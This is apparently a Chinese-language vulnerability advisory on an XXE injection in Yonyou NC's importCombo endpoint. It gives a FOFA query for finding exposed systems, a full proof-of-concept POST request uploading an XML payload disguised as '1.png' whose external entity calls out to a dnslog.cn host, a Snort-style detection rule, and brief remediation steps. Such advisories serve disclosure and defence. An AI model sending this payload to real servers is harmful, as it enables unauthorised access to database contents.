用友NC-importCombo-XML注入¶

用友NC-importCombo-XML注入，攻击者可进行注入攻击获取数据库信息或者权限。

影响版本¶

用友NC

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：app="用友-UFIDA-NC"

POC/EXP：

POST /portal/pt/portalcombo/importCombo?pageId=login HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3LEPfAt3B386AN3f

------WebKitFormBoundary3LEPfAt3B386AN3f
Content-Disposition: form-data; name="file"; filename="1.png"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://1233.c6pqn1.dnslog.cn/xxe_test">
%remote;]>
<root/>
------WebKitFormBoundary3LEPfAt3B386AN3f--

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"Yonyou NC - XXE Injection via importCombo (CVE-2025-XXXXX)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/portal/pt/portalcombo/importCombo";
    http.header; content:"Content-Type: multipart/form-data";
    http.request_body; content:"<!ENTITY % remote SYSTEM";
    pcre:"/<!ENTITY\s+%\s+remote\s+SYSTEM\s+\"[^\"]+\.dnslog\.cn/i";
    metadata:cve CVE-2025-XXXXX;
    metadata:affected_product "用友NC系统";
    metadata:vulnerability_type "XML External Entity Injection";
    classtype:web-application-attack;
    sid:1000429;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。